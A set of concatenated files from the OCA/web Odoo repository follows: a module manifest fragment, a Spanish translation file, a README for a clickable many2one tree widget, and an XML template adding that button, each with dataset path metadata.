"depends": ["web"],
"assets": {
"web.assets_backend": [
"web_touchscreen/static/src/**/*",
],
},
}
| OCA/web/web_touchscreen/__manifest__.py/0 | {
"file_path": "OCA/web/web_touchscreen/__manifest__.py",
"repo_id": "OCA",
"token_count": 280
} | 89 |
# Translation of Odoo Server.
# This file contains the translation of the following modules:
# * web_tree_duplicate
#
msgid ""
msgstr ""
"Project-Id-Version: Odoo Server 12.0\n"
"Report-Msgid-Bugs-To: \n"
"PO-Revision-Date: 2020-07-23 14:19+0000\n"
"Last-Translator: claudiagn <claudia.gargallo@qubiq.es>\n"
"Language-Team: none\n"
"Language: es\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: \n"
"Plural-Forms: nplurals=2; plural=n != 1;\n"
"X-Generator: Weblate 3.10\n"
#. module: web_tree_duplicate
#. openerp-web
#: code:addons/web_tree_duplicate/static/src/js/backend.js:47
#, python-format
msgid "Duplicate"
msgstr "Duplicar"
#. module: web_tree_duplicate
#. openerp-web
#: code:addons/web_tree_duplicate/static/src/js/backend.js:84
#, python-format
msgid "Duplicated Records"
msgstr "Registros duplicados"
| OCA/web/web_tree_duplicate/i18n/es.po/0 | {
"file_path": "OCA/web/web_tree_duplicate/i18n/es.po",
"repo_id": "OCA",
"token_count": 368
} | 90 |
========================================
Clickable many2one fields for tree views
========================================
..
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
!! This file is generated by oca-gen-addon-readme !!
!! changes will be overwritten. !!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
!! source digest: sha256:2b8b8f544159751e2d6eec3db8f694788e672e6ccde284cf0783987f58441d3a
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
.. |badge1| image:: https://img.shields.io/badge/maturity-Beta-yellow.png
:target: https://odoo-community.org/page/development-status
:alt: Beta
.. |badge2| image:: https://img.shields.io/badge/licence-AGPL--3-blue.png
:target: http://www.gnu.org/licenses/agpl-3.0-standalone.html
:alt: License: AGPL-3
.. |badge3| image:: https://img.shields.io/badge/github-OCA%2Fweb-lightgray.png?logo=github
:target: https://github.com/OCA/web/tree/16.0/web_tree_many2one_clickable
:alt: OCA/web
.. |badge4| image:: https://img.shields.io/badge/weblate-Translate%20me-F47D42.png
:target: https://translation.odoo-community.org/projects/web-16-0/web-16-0-web_tree_many2one_clickable
:alt: Translate me on Weblate
.. |badge5| image:: https://img.shields.io/badge/runboat-Try%20me-875A7B.png
:target: https://runboat.odoo-community.org/builds?repo=OCA/web&target_branch=16.0
:alt: Try me on Runboat
|badge1| |badge2| |badge3| |badge4| |badge5|
This addon forces Odoo to use many2one widget on a many2one fields in
tree views. This allows users to open linked resources from trees directly,
using a button without accessing the form.
**Table of contents**
.. contents::
:local:
Usage
=====
Put the mouse pointer over a many2one cell and click the button.
.. image:: https://raw.githubusercontent.com/OCA/web/16.0/web_tree_many2one_clickable/static/img/clickable.gif
Known issues / Roadmap
======================
This widget is currently not working on the product field in the lines tree of the
sale order form, see https://github.com/OCA/web/pull/1438 for further details.
To add this functionality to lines of sales, purchases and invoices, as they are
special views, is required a glue module that add this feature.
Bug Tracker
===========
Bugs are tracked on `GitHub Issues <https://github.com/OCA/web/issues>`_.
In case of trouble, please check there if your issue has already been reported.
If you spotted it first, help us to smash it by providing a detailed and welcomed
`feedback <https://github.com/OCA/web/issues/new?body=module:%20web_tree_many2one_clickable%0Aversion:%2016.0%0A%0A**Steps%20to%20reproduce**%0A-%20...%0A%0A**Current%20behavior**%0A%0A**Expected%20behavior**>`_.
Do not contact contributors directly about support or help with technical issues.
Credits
=======
Authors
~~~~~~~
* Therp BV
* Tecnativa
* Camptocamp
* Onestein
Contributors
~~~~~~~~~~~~
* Therp BV
* Pedro M. Baeza <pedro.baeza@serviciosbaeza.com>
* Antonio Espinosa <antonio.espinosa@tecnativa.com>
* Sodexis <dev@sodexis.com>
* Artem Kostyuk <a.kostyuk@mobilunity.com>
* Anand Kansagra <kansagraanand@hotmail.com>
* Alexandre Díaz <alexandre.diaz@tecnativa.com>
* Dennis Sluijk <d.sluijk@onestein.nl>
Maintainers
~~~~~~~~~~~
This module is maintained by the OCA.
.. image:: https://odoo-community.org/logo.png
:alt: Odoo Community Association
:target: https://odoo-community.org
OCA, or the Odoo Community Association, is a nonprofit organization whose
mission is to support the collaborative development of Odoo features and
promote its widespread use.
This module is part of the `OCA/web <https://github.com/OCA/web/tree/16.0/web_tree_many2one_clickable>`_ project on GitHub.
You are welcome to contribute. To learn how please visit https://odoo-community.org/page/Contribute.
| OCA/web/web_tree_many2one_clickable/README.rst/0 | {
"file_path": "OCA/web/web_tree_many2one_clickable/README.rst",
"repo_id": "OCA",
"token_count": 1338
} | 91 |
<?xml version="1.0" encoding="UTF-8" ?>
<templates>
<t t-name="web_tree_many2one_clickable.Button" owl="1">
<button
class="btn btn-sm btn-secondary fa fa-arrow-right web_tree_many2one_clickable"
t-on-click="onClick"
>
</button>
</t>
<t t-inherit="web.ListRenderer.RecordRow" t-inherit-mode="extension">
<xpath expr="//Field" position="after">
<TreeMany2oneClickableButton
record="record"
field="record.fields[column.name]"
value="record.data[column.name]"
t-if="record.fields[column.name].type == 'many2one' and record.data[column.name] and canUseFormatter(column, record) and !props.archInfo.fieldNodes[column.name].options.no_open"
/>
</xpath>
</t>
</templates>
| OCA/web/web_tree_many2one_clickable/static/src/components/many2one_button/many2one_button.xml/0 | {
"file_path": "OCA/web/web_tree_many2one_clickable/static/src/components/many2one_button/many2one_button.xml",
"repo_id": "OCA",
"token_count": 405
} | 92 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.